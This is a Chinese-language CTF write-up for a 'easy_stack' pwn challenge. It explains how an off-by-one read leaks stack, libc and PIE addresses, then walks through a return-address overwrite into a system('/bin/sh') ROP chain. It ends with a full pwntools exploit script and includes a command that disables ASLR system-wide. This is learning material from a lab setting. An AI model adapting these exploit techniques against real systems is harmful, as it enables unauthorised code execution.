这题在比赛是没有做出来的,属于赛后复盘,但是感觉这题不该在比赛做不出来,因为赛后花了两小时就出了。

静态分析

首先checksec发现保护全开了,ida打开,主函数是一个while 1 循环且没有return,如果要栈溢出得在其它函数。首先ida分析有部分不到位,有一个很明显的值赋值指针,然后后面还有对指针之后的元素读取一个int型变量,很明显栈布局是这样的。

1
2
3
4
char buf[]

char *ptr
int size

然后我们去混淆一下,去除那个指针刚好是31个int_64,把它改变一下就是char buf[248],如下更方便分析(isnan函数是因为去除了alarm方便调试)

可以很明显的看到中间有两层检测,但是一旦不满足最外层那个检测那么就会循环输出too easy,因此我们看看这个判断是什么,这个判断的意思就是我们的指针只有在>=缓冲区地址或者<=rbp-0x220才允许执行下面的流程。因为栈是向低地址增长,所以第一个判断就是ptr要落在buf或者buf下面(栈底方向)。如果我们有机会修改ptr,那确实可以通过ptr任意写,而我们之前分析的是不能通过main函数溢出,所以往后面写没多大用处,那么我们看看第二个条件。意思大概就是如果不在buf下面,那么在上面也要离buf有一定距离,这个距离是rbp-0x220,然后buf最顶端距离rbp是0x120,所以指针不能落在(buf-0x100,buf)范围内因为判过有等号,所以判不过自然是开区间。

size只能0x100以内,观察类型发现判断的时候类型为unsigned,不能负溢。那么进入myputs,myread和mywrite查看。

myputs:单个字符输出,遇到\0停止输出。

mywrite:固定逐字节输出那么长的字节序列。

myread:也是逐字节读入那么长的序列,并且while read(1)表示必须要读那么多的字节,但是注意他循环是从0,然后对size判断的时候加了等号,这就意味着能够多读入一个字节,存在off by one。

buf距离ptr刚好0x100字节,如果溢出一个字节那么可以溢出一个较大字节,使得等会通过这个指针输出的时候能够输出后面的栈内容。

泄露地址

我们通过之前分析的内构造以下内容

1
2
pop_rdi_ret=0x0000000000026b72#libc中寻找的
read(0x100,b'a'*0x100+b'\xff')

可以看到后面输出了很多东西,但是因为栈不存在内存页对齐的说法,所以最后一个字节改大之后能输出多少东西全凭运气。我们可以在输入之后用gdb attach去查看此时栈的情况看看能泄露什么东西。由于没有去符号表,因此为了方便定位代码我们直接在后面加上b mywrite。

圈出来的是指针末尾被改了的情况,然后三个箭头是可以泄露的东西,分别能泄露栈,libc和程序的加载基址。但是如果buf本身所在位置的最低字节就是e0,f0之类的那可能泄露不了这么多东西,所以这一点也是看脸的。那么我们如何接收泄露的数据呢?

首先我们第一个泄露的地址应该是ptr,但是ptr被我们改过,我们并具体泄露出这个buf在哪个位置。所以这个我们不考虑,我们接受后面的栈地址,计算一下泄露地址和buf的偏移得到buf地址。后面的没啥好说的,就是开了pie之后程序加载基址不知道具体会在哪,不过据我观察它大部分高字节是55,有时候是56,所以我们就以55判断吧。但是为了调试方便我们选择先关闭aslr调试,具体细节就是

1
#echo 0 >/proc/sys/kernel/randomize_va_space

关闭之后开了aslr的程序固定加载在0x555555554000上面,所以我们选择以四个字节的55来判断是否有没有泄露到程序加载基址,等到打远程的时候调回来就行了。

1
2
3
4
5
6
7
8
9
10
11
12
p.recvuntil(b'\x7f')
stack_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-0x218#buf_addr-8
#因为一开始指向劫持这个忽略了条件不允许,这里到后来也没改,问题不大,之后在引用这个值的时候+8就完事了。
success('stack_addr:'+hex(stack_addr))
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-0x270b3#libc_base
success('libc_addr:'+hex(libc_addr))
code_base=u64(p.recvuntil(b'\x55'*4)[-6:]+b'\0\0')-elf.sym['main']
success('code_base:'+hex(code_base))

sys=libc_addr+libc.sym['system']
sh=libc_addr+libc.search(b'/bin/sh').__next__()
pop_rdi_ret+=libc_addr#用的是libc的gadget,用本身的gadget加上code_base即可

这里我关了aslr的调试结果

动态调试

泄露了这三个基址之后,我们就要考虑在哪里劫持程序流了。got表因为开了保护无法劫持,我们只能劫持函数,唯一具有输入功能的就是my_read函数,所以肯定是在这里溢出。我们之前讨论过我们的ptr能劫持的位置是有限制的。

如果我们把指针刚好劫持在buf-0x100,然后读入0x100字节的数据能否溢出呢?答案当然是可以的,因为buf是main函数的栈顶了,再上去就是其它函数的栈帧了,就算这0x100字节不能碰到buf,那碰到上面函数的返回地址还是可以的。这便是这题的巧妙之处了,这里我想了很久。但是要注意,我们是逐字节输入的,并不是一口气输入完的,所以里面的一些变量不能破坏。这里具体要自己调试了,它中间好像有把循环截止条件的那个数,也就是第三个参数放到栈上,因为我覆盖过去直接就无了,循环直接退出了。还有一个就是jmp 的时候也有用到栈上的地址跳转,因为我使用e覆盖的,然后我那个指令直接就跳到了0xXXXXX65的地方,然后就crash了,所以这个地方大概率是要放上正确的跳转地址的。因为是逐字节填充,所以这里是肯定劫持不了程序的,我们只能尽量不破坏它程序的执行,我们的最终目标其实也就填上那8个字节其它是什么其实无所谓,只要能成功劫持那八个字节,我们就能控制程序流。

布置rop链

这题可以执行system(“/bin/sh”),因此我们先构造rop链。

1
payload=...+p64(pop_rdi_ret)+p64(sh)+p64(system_addr)

pop_rdi_ret的gadget可以使用elf的,也可以用库的,这个看自己心情,我因为一开始没有选择接受程序基址就选择了libc的gadget。因为我们只能劫持八个字节,那么执行了pop_rdi_ret之后程序ret到哪里了呢,我们先画出当时整个栈结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

i
main's rbp
ret_addr
buf




ptr
size
canary
libc_start_main's rbp
ret_addr

可以看出来,返回地址后面紧跟着的就是buf,buf我们一开始是可控的,但是一开始我们并不知道system和/bin/sh的地址,因此这里我们需要选择把指针恢复填上p64(sh)+p64(system_addr),这样当劫持my_read函数的时候就会形成rop链。那么接下来要如何把指针劫持回去呢,因为我们用的是\xff字节去填充了最低位,现在我们如果写,将不会从buf的地方开始而是会从(buf_addr|0xff),这也是一开始选取\xff字节的目的,因为它八个都是1,在最后计算的时候直接或上去就可以了,如果选取其它的可能就要进行一些复杂的运算,比如\xfe字节你可能就得这么写。

(buf_addr&0xffffffffff00)|0xfe

这个应该都能理解吧,因为我们是覆盖操作,但是如果覆盖位数都为1就可以直接或上去,不用再&清除低位字节。

而我们的目标地址在buf_addr+0x100,所以只需要算这个偏移就行了。这偏移也是很好算的,我们从buf_addr|0xff开始写,然后终点是buf_addr+0x100,两个一减就能算出填充字节的位数了,然后再加上buf_addr指针给他写回去。好了之后呢,就是开头放上p64(sh)+p64(system_addr)然后依然要溢出ff字节,不然只能溢出一个字节不足以能肯定改变指针到我们想的地方。所以重复一开始的操作溢出为0xff,然后再劫持到buf_addr-0x100的地方去。

改回指针并且重写再次溢出

1
2
3
4
5
offset=stack_addr+8+0x100-((stack_addr+8)|0xff)
read(offset+7,b'a'*offset+p64(stack_addr+8))#再次注意一下,我的stack_addr是buf_addr-8

read(0x100,p64(sh)+p64(pop_rdi_ret+1)+p64(sys)+b'a'*0xe8+b'\xff')#这里需要加个ret平衡栈,后面注意到了就知道在这里加一个就行
read(offset+7,b'a'*offset+p64(stack_addr-0xf8))#就跟改回来是一样的,截图并未执行到这里

劫持my_read

一开始可能想的会有点简单,直接

1
read(0xff,b'e'*0xf8+p64(pop_rdi_ret))#也是因为这个填充字符选的到位,导致能快速找出错误,所以如果程序退出异常但还能继续执行不妨改一下填充字符哦

但是会发现程序直接死了,这里就来复原一下我复盘时出的问题,先用这个最简单的payload试试看问题出在哪里。

会发现这个指令非常奇奇怪怪,而且rip此时最低那个字节的值是65刚好就是e的ASCII码,再disass一下发现这个函数根本没有指到这个位置上的指令,可以很清楚的知道,这条指令是被分割了,那么我们回溯栈看看,发现我们覆盖了什么导致这个问题。可以看到次时i的值就是0xb8,那么我们就调试到i=0xb7的时候,观察接下来要覆盖的值是什么。

可以发现接下来要覆盖的字节应该就是两个箭头所指的地方,而右边这里刚好有一个在程序的code段的地址,猜测刚刚应该是覆盖了这里的最低位导致的问题。并且我们刚刚的rip错误指向就是0x555555555365,刚好就是那个地址低字节覆盖了0x65字节导致的问题,我们先来观察一下这个地址在哪里。

可以发现刚好在myread中有这么一个地址,那么看到它在read函数下面应该能想到,这个是在调用read的时候保存的返回地址,读完之后改变了这个返回地址导致了出现这个错误。因为在这里调用read返回地址肯定知道就是在函数的这个位置,那么它在code_base上偏移是固定的,算出偏移之后这个地方的8个字节就固定填写这个不要改变了。此时我们的payload变成

1
2
payload=(b'e'*0xb8+p64(code_base+0x130a)).ljust(0xf8,b'e')+p64(pop_rdi_ret)
read(0xff,payload)

但是发现执行着突然退出了,而当时i的值还是0xc8

到底是为什么呢,应该能稍微猜到一点,因为可以看到rsp的那个地方已经填充好了8个e接下来就要向0xff那边填充了,0xff是循环条件的一个值,猜测是因为这个值被覆盖了导致循环提前结束了,那么在长度到0xc8的时候,这个位置应该填上一个p64(0xff)才能过去,然后后面又有一个地址,不难发现它是我们buf_addr的地址,那么这个地址也不应该被覆盖,而应该写回去。同理,下面的i作为循环变量也不应该被覆盖,这个应当能提前预测到的。

至于这个位置应该写多少呢,可以想想如果i=0的时候写自己应该写多少呢?答案当然是还是写个0才能保证写进去并且i+1。那么这个位置在哪呢,应该不难推测出开始覆盖ret_addr的时候,它的值应当i=0xf8,覆盖之前的rbp时,i=0xf0,那么再往前推,这个值应该是i=0xe8,所以这个地方给上\xe8然后后面一律填0即可。可以看到这次栈溢出注意的东西也是非常多的,可以说这题目出的也是相当好的。

最后就没什么讲究了,覆盖上ret_addr为pop_rdi_ret的gadget就能直接getshell。下面是完整payload

1
2
3
4
5
6
payload=b'e'*0xb8+p64(code_base+0x130a)
payload=payload.ljust(0xc8,b'e')
payload+=p64(0xff)+p64(stack_addr-0xf8)
payload=payload.ljust(0xe8,b'\0')

read(0xff,payload+b'\xe8'+b'\0'*7+b'f'*8+p64(pop_rdi_ret))

能稳定getsehll,但是前提是aslr关了,aslr关了调试其实是非常舒服的,因为面对复杂的情况有时候可能不能getshell,就比如前面举过的例子,程序基址的最高字节非\x55,buf_addr的最低字节过大,目前已知就这两种情况会导致无法正常getshell。

这里还需要注意一点,因为关了aslr,我们前面的接受泄露的地址是用的p.recvuntil(b’\x55’*4)[-6:],关了之后要把后面那个4去掉,这里因为识别单个字节,不排除会识别错误,这个随机加载谁说的清楚呢,这都是小问题。下面给出我开了aslr的运行结果。

如果希望能一把梭,那么可以把攻击的部分作为一个函数,然后主函数while 1 try except这样玩,但是要注意给开头四个recvuntil都加上一个参数timeout=0.5,这样它接收不到这个字节超过0.5秒就会停止接收,后面就会产生报错,报错之后自己会重新运行一遍。注意下面给的exp并没有加上这个,但是加的方法已经告诉你了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

#context.log_level='debug'
def read(size,payload):
p.sendlineafter(b'size',str(size))
p.sendafter(b'sentence',payload)

p=process('./easy_stack')
libc=ELF('./libc-2.31.so')
elf=ELF('./easy_stack')
pop_rdi_ret=0x0000000000026b72

#gdb.attach(p,'b myread')


read(0x100,b'a'*0x100+b'\xff')


p.recvuntil(b'\x7f')
stack_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-0x218
success('stack_addr:'+hex(stack_addr))
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-0x270b3
success('libc_addr:'+hex(libc_addr))
code_base=u64(p.recvuntil(b'\x55')[-6:]+b'\0\0')-elf.sym['main']
success('code_base:'+hex(code_base))

sys=libc_addr+libc.sym['system']
sh=libc_addr+libc.search(b'/bin/sh').__next__()
pop_rdi_ret+=libc_addr

offset=stack_addr+8+0x100-((stack_addr+8)|0xff)
#success('a'*offset)


read(offset+7,b'a'*offset+p64(stack_addr+8))

read(0x100,p64(sh)+p64(pop_rdi_ret+1)+p64(sys)+b'a'*0xe8+b'\xff')

read(offset+7,b'a'*offset+p64(stack_addr-0xf8))

payload=b'e'*0xb8+p64(code_base+0x130a)
payload=payload.ljust(0xc8,b'e')
payload+=p64(0xff)+p64(stack_addr-0xf8)
payload=payload.ljust(0xe8,b'\0')

read(0xff,payload+b'\xe8'+b'\0'*7+b'f'*8+p64(pop_rdi_ret))
p.interactive()